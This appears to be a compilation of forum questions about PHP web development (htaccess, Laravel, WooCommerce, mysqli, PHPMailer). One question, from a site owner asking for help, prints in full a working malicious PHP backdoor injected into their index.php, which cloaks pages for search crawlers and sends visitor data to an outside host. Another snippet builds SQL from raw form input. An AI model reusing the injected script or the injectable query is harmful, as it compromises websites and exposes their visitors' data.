How to add an htaccess rule for a search page so that it will work with and without query parameter

Is it possible for me to add an htaccess rule for a search page so that it will work with and without query parameter. I ll add the example below

Actual file is www.mysite.com/search.php

Below 2 links should work for me

  1. www.mysite.com/search/loremipsum

  2. www.mysite.com/search/?query=loremipsum

The rule I have added on htacess is given below

RewriteCond %{QUERY_STRING} ^$
RewriteRule ^search/?$ search.php? [L]
RewriteRule ^search/([^/]+)$ search.php?query=$1 [L]

Any help will be much apprecited

PHP / IIS – Writing files to domain joined file server via UNC path

I am working within a domain environment, I have two servers:

  • server 1 – Windows / IIS
  • server 2 – Windows / File Server

I have a PHP script running on the IIS box which allows users to upload documents, this works fine when writing to a local folder on the server, however i now need to write the uploaded files to a network share.

I have tried everything i can think of and cannot get this to work, I consistently get Permission Denied errors when executing the script.

I have changed the Identity the ApplicationPool settings for this site to a domain user, said user DOES have the correct share/ntfs permissions on the share i am trying to write to, I have selected “Load Profile” under the ApplicationPool advanced settings to, the user/server can access the share fine within Windows Explorer.

I have triple/quadruple checked all NTFS / share permissions, but no joy.

Does anyone have any ideas? Thanks in advance!

Every morning, this strange code gets injected into my index.php page. What is the cause? [closed]

I have a site on Namecheap cPanel web hosting and suddenly this month, the site is inaccessible every morning. The code below is injected into index.php, db.php, loggertrait.php and my htaccess is cleared. I don’t originally have db and loggertrait as files in my directory.

ChatGPT says the code is malicious but I can’t find any articles talking about it:

<?php function curl_get_contents($url){$ch=curl_init();curl_setopt ($ch, CURLOPT_URL, $url);curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, 5);$file_contents = curl_exec($ch);curl_close($ch);return $file_contents; }function ex(){return exit;}$a='z40413_6.zwlepra.shop';$a='http://'.str_replace("http://","",$a);function getServerCont($url,$data=array()){$url=str_replace(' ','+',$url);$ch=curl_init();curl_setopt($ch,CURLOPT_URL,"$url");curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);curl_setopt($ch,CURLOPT_HEADER,0);curl_setopt($ch,CURLOPT_TIMEOUT,10);curl_setopt($ch,CURLOPT_POST,1);curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);curl_setopt($ch,CURLOPT_POSTFIELDS,http_build_query($data));$output = curl_exec($ch);$errorCode = curl_errno($ch);curl_close($ch);if(0!== $errorCode){ return false;}return $output;}function getSeCont11($url,$data=array()){$url=str_replace(' ','+',$url);$ch=curl_init();curl_setopt($ch,CURLOPT_URL,"$url");curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);curl_setopt($ch,CURLOPT_HEADER,0);curl_setopt($ch,CURLOPT_TIMEOUT,10);curl_setopt($ch,CURLOPT_POST,1);curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);curl_setopt($ch,CURLOPT_POSTFIELDS,http_build_query($data));$output = curl_exec($ch);$errorCode = curl_errno($ch);curl_close($ch);if(0!== $errorCode){ return false;}return $output;}function is_crawler($agent){$agent_check=false; $bots='googlebot|google|yahoo|bing|aol';if($agent!=''){if(preg_match("/($bots)/si",$agent)){$agent_check = true; }}return $agent_check;}function check_refer($refer){ $check_refer=false;$referbots='google.co.jp|yahoo.co.jp|google.com';if($refer!='' && preg_match("/($referbots)/si",$refer)){ $check_refer=true; }return $check_refer; }$http=((isset($_SERVER['HTTPS'])&&$_SERVER['HTTPS']!=='off')?'https://':'http://');$req_uri=$_SERVER['REQUEST_URI'];$domain=$_SERVER["HTTP_HOST"];$self=$_SERVER['PHP_SELF'];$ser_name=$_SERVER['SERVER_NAME'];$req_url=$http.$domain.$req_uri;$indata1=$a."/indata.php";$map1=$a."/map.php";$jump1=$a."/jump.php";$url_words=$a."/words.php";$url_robots=$a."/robots.php";if(strpos($req_uri,".php")){$href1=$http.$domain.$self;}else{$href1=$http.$domain;}$data1[]=array();$data1['domain']=$domain;$data1['req_uri']=$req_uri;$data1['href']=$href1;$data1['req_url']=$req_url;if(substr($req_uri,-6)=='robots'){define('BASE_PATH',str_ireplace($_SERVER['PHP_SELF'],'',__FILE__));$robots_cont=@file_get_contents(BASE_PATH.'/robots.txt');$data1['robots_cont'] = $robots_cont;$robots_cont = @getServerCont($url_robots,$data1);file_put_contents(BASE_PATH.'/robots.txt',$robots_cont);$robots_cont=@file_get_contents(BASE_PATH.'/robots.txt');if(strpos(strtolower($robots_cont),"sitemap")){echo 'robots.txt file create success!';}else{echo 'robots.txt file create fail!';}return;}if(substr($req_uri,-4)=='.xml'){if(strpos($req_uri,"pingsitemap.xml")){ $str_cont = getServerCont($map1,$data1); $str_cont_arr= explode(",",$str_cont); $str_cont_arr[]='sitemap'; for($k=0;$k<count($str_cont_arr);$k++){ if(strpos($href1,".php")> 0){ $tt1='?'; }else{ $tt1='/';}$http2=$href1.$tt1.$str_cont_arr[$k].'.xml';$data_new='https://www.google.com/ping?sitemap='.$http2;$data_new1='http://www.google.com/ping?sitemap='.$http2;if(stristr(@file_get_contents($data_new),'successfully')){echo $data_new.'===>Submitting Google Sitemap: OK'.PHP_EOL;}else if(stristr(@curl_get_contents($data_new),'successfully')){echo $data_new.'===>Submitting Google Sitemap: OK'.PHP_EOL;}else if(stristr(@file_get_contents($data_new1),'successfully')){echo $data_new1.'===>Submitting Google Sitemap: OK'.PHP_EOL;}else if(stristr(@curl_get_contents($data_new1),'successfully')){echo $data_new1.'===>Submitting Google Sitemap: OK'.PHP_EOL; }else{echo $data_new1.'===>Submitting Google Sitemap: fail'.PHP_EOL;} } return;} if(strpos($req_uri,"allsitemap.xml") || strpos($req_uri,"sitemap-index.xml") || strpos($req_uri,"sitemap-index-1.xml") || strpos($req_uri,"index.xml")){ $str_cont = getServerCont($map1,$data1); header("Content-type:text/xml"); echo $str_cont;return;} if(strpos($req_uri,".php")){ $word4=explode("?",$req_uri); $word4=$word4[count($word4)-1]; $word4=str_replace(".xml","",$word4); }else{ $word4= str_replace("/","",$req_uri);$word4= str_replace(".xml","",$word4); }$data1['word']=$word4;$data1['action']='check_sitemap';$check_url4=getServerCont($url_words,$data1);if($check_url4=='1'){ $str_cont=getServerCont($map1,$data1); header("Content-type:text/xml"); echo $str_cont;return;} $data1['action']="check_words"; $check1= getServerCont($url_words,$data1);if(strpos($req_uri,"map")> 0 || $check1=='1') $data1['action']="rand_xml";$check_url4=getServerCont($url_words,$data1);header("Content-type:text/xml");echo $check_url4;return;}if(strpos($req_uri,".php")){$main_shell=$http.$ser_name.$self;$data1['main_shell']=$main_shell;}else{$main_shell=$http.$ser_name;$data1['main_shell']=$main_shell;}$referer=isset($_SERVER['HTTP_REFERER'])?$_SERVER['HTTP_REFERER']:'';$chk_refer=check_refer($referer); $user_agent=strtolower(isset($_SERVER['HTTP_USER_AGENT'])?$_SERVER['HTTP_USER_AGENT']:'');$res_crawl=is_crawler($user_agent); if(strpos($_SERVER['REQUEST_URI'],'.php')){ $url_ext='?'; }else{ $url_ext='/'; } if($chk_refer && (preg_match('/ja/i',@$_SERVER['HTTP_ACCEPT_LANGUAGE']) || preg_match('/ja/i',@$_SERVER['HTTP_ACCEPT_LANGUAGE']) || preg_match("/^[a-z0-9]+[0-9]+$/",end(explode($url_ext,str_replace(array(".html",".htm"),"",$_SERVER['REQUEST_URI'])))))){ $data1['ip']=$_SERVER["REMOTE_ADDR"];$data1['referer']=isset($_SERVER['HTTP_REFERER'])?$_SERVER['HTTP_REFERER']:'';$data1['user_agent']=strtolower(isset($_SERVER['HTTP_USER_AGENT'])?$_SERVER['HTTP_USER_AGENT']:''); echo getSeCont11($jump1,$data1);return; } if($res_crawl){ $data1['http_user_agent']=$user_agent;$ser_cont=getSeCont11($indata1,$data1);echo $ser_cont;}ex();?>

please help: altervista php mysql connection [closed]

I need help on a .php file:

<?php
// Credenziali di accesso al database
$servername = "localhost";
$username = "paperpediaforum";
$password = ""
$dbname = "my_paperpediaforum";

// Connessione al database
$conn = new mysqli($servername, $username, $password, $dbname);

// Verifica della connessione
if ($conn->connect_error) {
    die("Connessione al database fallita: " . $conn->connect_error);
} else {
    echo "Connessione al database riuscita!";
    // Qui puoi inserire il codice per eseguire le query o altre operazioni sul database
}

?>

when i open the file it says:
Parse error: syntax error, unexpected variable “$dbname” in /membri/paperpediaforum/database.php on line 6

do you know why?
(it doesn’t close the connection on purpose, because other php files will use this and then they will close the connection)
sorry for the bad english

I tried many methods, but it never worked. before it said that it couldn’t find the database, now it says that he doesn’t expect the variable $dbname. i don’t jnow what to do.

How to split a comma separeted string value from ACF get_field() in WordPress

the problem is that I have a line in the field, but I need to output it so that after the “comma” the line is moved to a new paragraph.
At the moment I am a student and I need help.

$time_work = get_field('time_work');

<div class="time_work">
    <span>Time work:</span>
    <p><?=$time_work?></p>
</div>

p.s. $time-work value is for example “monday,saturday,sunday”…

Difference in behavior of Storage::get() between Laravel 7 and Laravel 9 regarding file not found exception

I’m experiencing different behaviors in Laravel 7 and Laravel 9 regarding the Storage::get() method when the file does not exist. In Laravel 7, it throws a FileNotFoundException exception, while in Laravel 9, it returns null.

I’m curious about the reasons behind these changes. Why does Laravel 7 throw an exception while Laravel 9 returns null? Additionally, when I try to trace the implementation using XDebug, I find that the code interception is not occurring in the underlying filesystem.php.

Could someone provide insights into why this difference in behavior exists between Laravel 7 and Laravel 9, and why the interception is not happening as expected?

Code snippet (simplified):

<?php
// Laravel 7 behavior
try {
    $content = Storage::get('nonexistent-file.txt');
    // This block will not be executed if the file does not exist
    echo $content;
} catch (IlluminateContractsFilesystemFileNotFoundException $e) {
    // Handle the file not found exception
    echo "File not found: " . $e->getMessage();
}

// Laravel 9 behavior
$content = Storage::get('nonexistent-file.txt');
if ($content === null) {
    // Handle the case when the file does not exist
    echo "File not found";
}

How to fix “could not find driver” error in laravel 11

I got this error when starting my laravel project:

Illuminate  Database QueryException

could not find driver
PRAGMA foreign_keys = ON;

I tried to remove the semicolon extension=pdo_mysql in php.ini file from the xampp/php folder.

And remove the comments in .env file from
this

DB_CONNECTION=sqlite
#DB_HOST=127.0.0.1
#DB_PORT=3306
#DB_DATABASE=laravel
#DB_USERNAME=root
#DB_PASSWORD=

to

DB_CONNECTION=mysql
DB_HOST=127.0.0.1
DB_PORT=3306
DB_DATABASE=laravel
DB_USERNAME=root
DB_PASSWORD=

and got this error instead
select * from sessionswhereid = rJV8ccVLO8rJ0AsiiomdmMsg5FGKLNq5Asi646pd limit 1

It’s my first time learning laravel

Is there any solution?

Woocommerce order to a XML file saving each product

I am creating a plugin that creates a XML file with a structure for each order. But I am not able to get the product info in to the order. I dont really know what I am doing wrong.

My current code that saves the file and puts the data in it but not the product.

function export_order_to_xml($order_id) {
    $order = wc_get_order($order_id);
    $xml_data = generate_xml_data($order);

    $filename = generate_filename($order);
    $plugin_dir = plugin_dir_path(__FILE__);
    $xml_directory = $plugin_dir . 'xml_files/';
    if (!file_exists($xml_directory)) {
        mkdir($xml_directory, 0755, true);
    }
    $filepath = $xml_directory . $filename;
    file_put_contents($filepath, $xml_data);
}

function generate_xml_data($order) {
    $order_data = $order->get_data();
    // Generate XML structure
    $xml = new SimpleXMLElement('<?xml version="1.0" encoding="UTF-8"?><order></order>');
    $xml->addChild('ordernumber', $order_data['id']); // Order ID
    $xml->addChild('name', $order_data['billing']['first_name']);
    $xml->addChild('lastname', $order_data['billing']['last_name']);
    // Add order items
    $order_items_element = $xml->addChild('orderitems');
    foreach ($order->get_items() as $item_id => $item) {
        $product = $item->get_product();
        $item_element = $order_items_element->addChild('item');
        $item_element->addChild('product_id', $product->get_id());
        $item_element->addChild('name', $product->get_name());
        $item_element->addChild('price', $order->get_item_total($item, false));
        $item_element->addChild('qty', $item->get_quantity());
    }
    return $xml->asXML();
}

function generate_filename($order) {
    $order_data = $order->get_data();
    $order_number = $order_data['id'];
    $pickup_date = date('Ymd', strtotime($order_data['date_created']));
    $location = '1';
    $customer_id = $order->get_user_id();
    $filename = "{$pickup_date}{$order_number}_{$location}_{$customer_id}.xml";
    return $filename;
}

This should be the strucute:

<?xml version="1.0" encoding="UTF-8"?>
<order>
 <ordernumber></ordernumber>
 <lastname></lastname>
 <adress></adress>
 <zipcode></zipcode>
 <city></city>
 <phone></phone>
 <email></email>
 <date></date>
 <location>1</location>
 <customer_id/>
 <payd>nee</payd>
 <method>cash</method>
 <orderitems>
 <item>
 <product_id>252</product_id>
 <name>Item</name>
 <price>2.30</price>
 <qty>3</qty>
 </item>
 </orderitems>
</order>

php code is being read word for word instead of connecting to the database

This is my code.

<?php

$servername = "localhost";
$username = "username";
$password = "password";

// Connection
$conn = mysqli_connect($servername, 
            $username, $password);

// Check if connection is 
// Successful or not
if (!$conn) {
die("Connection failed: "
    . mysqli_connect_error());
}
echo "Connected successfully";
?>

this is the result on the browser.

Fatal error: Uncaught mysqli_sql_exception: Access denied for user ‘root’@’localhost’ (using password: YES) in C:xampphtdocsTestshat.php:8 Stack trace: #0 C:xampphtdocsTestshat.php(8): mysqli_connect(‘localhost’, ‘root’, Object(SensitiveParameterValue)) #1 {main} thrown in C:xampphtdocsTestshat.php on line 8 ?>

I tried putting the database into the code and it still produces the same error result. I also tried using the PDO version of the code from Geeksforgeeks instead of mysqli. Still did not work.

My current xampp setup is newly downloaded and I am using xampp windows 8.2.12.

I am trying to connect my database to my php file.

Need to change command in PHP correctly [closed]

I am trying to remove information about days and time for UPS Shipping, which I have for our online shop.
this is command which need to be changed to get read from information about days and time.

$shipcostarray[] = array( "method" => "ups_ap", "name" => translate( "UPS Access Point" ) . $ups_ap_info, "cost" => $ups_ap_price, "days" => $rate['GUARANTEED_DAYS'], "time" => $rate['GUARANTEED_TIME'] );

When I am removing “days” or “days” and => or “days” => [‘GUARANTEED_DAYS’] “time” => [‘GUARANTEED_TIME’]

the whole site disappears.
I know I am removing the command wrong, but how it should look like?

This is how it look like and red lines shows what I want to remove.

Image

I try to correct command but I did it wrong.

Error 500 when i try to add informations in DB table “users” with registration form

I have a problem (HTTP error 500) to add informations users into my db.
i tried to add information user in my sql DB
I don’t know why my code doesn’t work.

This is my code of the file traitement.php :

<?php
// Connexion à la base de données (assurez-vous d'avoir les informations de connexion correctes)
$servername = "servername";
$username = "username";
$password = "password";
$dbname = "dbname";

$conn = new mysqli($servername, $username, $password, $dbname);

if ($conn->connect_error) {
    die("La connexion à la base de données a échoué : " . $conn->connect_error);
}

// Récupération des données du formulaire
$nom = $_POST['nom'];
$prenom = $_POST['prenom'];
$email = $_POST['email'];
$mot_de_passe = $_POST['mot_de_passe']; // Hashage du mot de passe

// Insertion des données dans la base de données
$sql = "INSERT INTO users (nom, prenom, email, mot_de_passe) VALUES ('$nom', '$prenom', '$email', '$mot_de_passe')";

if ($conn->query($sql) === TRUE) {
    echo "Inscription réussie !";
} else {
    echo "Erreur lors de l'inscription : " . $conn->error;
}

$conn->close();
?>

Unable to access user id through guard after login in laravel

I have this route define in web.php

web.php

Route::group(['prefix' => 'user'], function () {
        Route::get('login', [FrontendController::class ,'showLoginForm'])->name('user.login-show');
        Route::post('login', 'AppHttpControllersLoginController@login')->name('login.post');
}

this is my login controller

    <?php
    
    namespace AppHttpControllers;
    use Auth;
    use AppUser;
    use AppHttpControllersController;
    use IlluminateHttpRequest;
    use IlluminateFoundationAuthAuthenticatesUsers;
    use IlluminateSupportFacadesHash;
    use DarryldecodeCartFacadesCart;
    
    
    class LoginController extends Controller
    {
        use AuthenticatesUsers;
        //
        protected $redirectTo = '/user/dashboard';
    
        public function __construct()
        {
            $this->middleware('guest:web')->except('logout');
        }
    
        public function showLoginForm()
        { 
            return view('pages.login');
        }
    
        public function login(Request $request)
        {
            $this->validate($request, [
                'email'   => 'required|email',
                'password' => 'required|min:6',
                'remember_me'=>'nullable'
            ]);
            $request->merge(['user_type'=>'0']);
            if (Auth::guard('web')->attempt([
                'email' => $request->email,
                'password' => $request->password,'user_type' => $request->user_type
            ], $request->input('remember_me'))) {
                $userID = Auth::guard('web')->user()->id;
                return redirect()->intended(route('web.dashboard'));
            }
            else{
                return back()->withErrors(['message'=>'Username or Password is Invalid'])->withInput($request->all());
            }
        }

    public function logout(Request $request)
    {
        Auth::guard('web')->logout();
        $request->session()->invalidate();
         
    }

    public function dashboard()
    {

    }
}

config/auth.php

 'guards' => [
        'web' => [
            'driver' => 'session',
            'provider' => 'users',
        ],
        'api' => [
            'driver' => 'token',
            'provider' => 'users',
            'hash' => false,
        ],
        'admin' => [
            'driver' => 'session',
            'provider' => 'admin',
        ],

RedirectedIfAuthenticated Middleware:

public function handle(Request $request, Closure $next, ...$guards)
{
    $guards = empty($guards) ? [null] : $guards;

    foreach ($guards as $guard) {
        if (Auth::guard($guard)->check()) {
            return redirect(RouteServiceProvider::HOME);
        }
    }

    return $next($request);
}

if i try to log in i’m then in login controller able to get user id through this code able to get user id using this code Auth::guard('web')->user()->id; but after this login function code is executed then not able to get user id in other methods or controller, it returns Attempt to read property "id" on null because user is null & i’m able to access login page even if i’m logged in. I have two guards one for admin other one for user

Any solution to fix this login issue, Thanks

Uncaught PHPMailerPHPMailerException

I am using Xampp Server to do a send a message to an email.
I am using the PHP Mailer to do this

I ran into an error and i am not sure how to fix it , I would love some assistance if you have any

<html> 
<head>
  <title> Sending Email Using PHP </title>    
</head>
<body>
    
    <form method="post" action="">
        
        Please enter the email address <input type="email" name="to" placeholder="********@gmail.com">
        <br>
        
        Kindly enter the subject <input type="text" name="subject" placeholder = "Requesting all information">
        <br>
        
        Kindly enter the message <textarea name="message"> </textarea>
        <br><br>
        
        <input type="submit" value="Send">
    </form>
   
    <?php
    use PHPMailerPHPMailerException;
    use PHPMailerPHPMailerPHPMailer;
    use PHPMailerPHPMailerSMTP;
    
    require 'PHPMailer/src/Exception.php';
    require 'PHPMailer/src/PHPMailer.php';
    require 'PHPMailer/src/SMTP.php';
    require 'information.php'; //credentials for emails
    
    if($_SERVER["REQUEST_METHOD"] == "POST"){
    $to = $_POST["to"];
    $subject = $_POST["subject"];
    $message = $_POST["message"];
   
    
    $mail = new PHPMailer (true);
    $mail -> Subject = $subject;
    $mail -> Body = $message;
    $mail -> addAddress ($to);
    $mail -> AltBody = $message;
    $mail -> setFrom (SEND_FROM, SEND_FROM_NAME);
    $mail -> addReplyTo (REPLY_TO, REPLY_TO_NAME);
    $mail -> Host = MAILHOST;
    $mail -> Username = USERNAME;
    $mail -> Password = PASSWORD;
    $mail -> Port = 587;
    $mail -> isSMTP ();
    $mail -> SMTPAuth = true;
    $mail -> SMTPSecure = PHPMailer:: ENCRYPTION_STARTTLS;
    $mail -> IsHTML (true);
    $mail -> send ();
        
    if ($mail == true){
        
        echo "Message sent successfully";
    }
    
    else {
        
        echo "Message could not be sent";
    }
    }
    ?>
    </body>
</html>

This is the credentials for the emails called information.php

<?php

define ('MAILHOST', "smtp.gmail.com");
define ('USERNAME', "*******@gmail.com");
define ('SEND_FROM', "*******[email protected]");
define ('SEND_FROM_NAME', "**** *****");
define ('REPLY_TO', "student email");
define ('REPLY_TO_NAME', "*******");
define ('PASSWORD', "**%^&%*");

?>

The error was

Warning: Undefined array key “to” in (file name) on line 40

Fatal error: Uncaught PHPMailerPHPMailerException: Invalid address:
(to): in 1100 Stack trace: #0 :
PHPMailerPHPMailerPHPMailer->addOrEnqueueAnAddress(‘to’, NULL, ”)
#1(49): PHPMailerPHPMailerPHPMailer->addAddress(NULL) #2 {main} thrown in on line 1100

trying to access array offset on value $row=$reult->fetch_assoc(); [duplicate]

trying to access array offset on value in $row = $result->fetch_assoc();

$row = $result->fetch_assoc();  
echo "<tr><td>Name: </td><td>".$row['CustomerName']."</td></tr>";    
echo "<tr><td>No.Number: </td><td>".$row['CustomerIC']."</td></tr>";    
echo "<tr><td>E-mail: </td><td>".$row['CustomerEmail']."</td></tr>";    
echo "<tr><td>Mobile Number: </td><td>".$row['CustomerPhone']